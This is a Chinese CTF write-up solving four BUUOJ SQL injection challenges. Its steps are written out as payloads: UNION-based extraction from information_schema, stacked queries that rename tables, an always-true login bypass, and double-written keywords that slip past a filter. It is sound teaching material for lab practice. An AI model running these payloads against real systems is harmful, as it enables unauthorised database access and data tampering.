CTF SQL WriteUp

前言

Ctf sql注入学习

题目地址:https://buuoj.cn/challenges

[强网杯 2019]随便注

0x00

启动靶机输入1,回显如下

1

输入1',回显如下

1

输入1'#,回显如下

1

发现存在sql注入,进而使用order by爆列数

1
1' order by 1;#

无报错

1

1
1' order by 2;#

无报错

1

1
1' order by 3;#

报错

1

因此字段有两列。

使用,union select回显

1
1' union select 1,2#

发现有正则表达式进行过滤

1

0x01

转向堆叠注入

查看数据库

1
1';show databases;#

1

查看表

1
1';show tables;#

发现有两张表,分别是1919810931114514words

1

获取每张表的字段

1
1';show columns from `1919810931114514`;#

1

1
1';show columns from words;#

1

0x02

根据两张表的字段数可以判断出输入框查询的是words表。

因此我们的思路是将1919810931114514表名改为words表,再将表中的flag字段改为id字段后再次进行查询

1
1';rename table `words` to words2;rename table `1919810931114514` to `words`;alter table words change flag id varchar(100);#

修改后查看是否修改成功

1
1';show tables;#

发现已经修改成功

1

0x03

查看flag

1
1' or 1=1#

1flag为flag{1f13cb4b-44b0-49e7-8ca5-02499e7085df}

[SUCTF 2019]EasySQL

堆叠注入

查看表

1
1;show tables;

1

获取flag

1
*,1

1

flag为flag{e0fd544e-1ad2-4725-9a41-5de52bc11c9d}

[极客大挑战 2019]LoveSQL

0x00

启动靶机,发现需要用户名密码登陆,直接万能密码尝试

1
admin' or '1'='1'#

16

0x01

接着通过order by爆破列数

1
2
3
4
admin' order by 1#
admin' order by 2#
admin' order by 3#
admin' order by 4#

4的时候报错,说明有3列

17

回显

1
admin' union select 1,2,3#

18

0x02

查询数据库和版本

1
admin' union select 1,database(),version()#

19

查询数据库下的数据表

1
admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

20

查询指定表名下的列名信息

1
admin' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'#

21

1
admin' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#

22

0x03

查询指定数据

1
admin ' union select 1,2,group_concat(password) from l0ve1ysq1#

得到flagflag{b9c4667a-4a05-441b-b100-a2106627c639}

1
Your password is 'wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{b9c4667a-4a05-441b-b100-a2106627c639}'

[极客大挑战 2019]BabySQL

0x00

万能密码失效,对于一些sql关键字进行了过滤

尝试双写绕过

1
admin' ununionion selselectect 1#

发现列数不匹配

23

回显爆破

1
2
admin' ununionion selselectect 1,2#
admin' ununionion selselectect 1,2,3#

24

查询数据库下的数据表

1
admin' ununionion selselectect 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

报错如下

25

继续双写绕过

1
admin' ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()#

26

查询指定表名下的列名信息

1
2
admin' ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#
admin' ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='geekuser'#

上面两张表均没有flag的信息

猜测存在其他数据库中

0x01

获取所有数据库名

1
admin' ununionion selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata #

得到的结果如下

1
information_schema,mysql,performance_schema,test,ctf,geek

猜测ctf数据库中存在flag

查看ctf数据库中的所有表

1
admin' ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'#

结果如下

1
Your password is 'Flag'

查询Flag表中的列名信息

1
admin' ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag'#

结果如下

1
Your password is 'flag'

0x02

查询指定数据

1
admin' ununionion selselectect 1,2,group_concat(flag) frfromom ctf.Flag#

结果如下

1
Your password is 'flag{fa4954aa-49af-4e07-adc4-74a1260cbb21}'

flagflag{fa4954aa-49af-4e07-adc4-74a1260cbb21}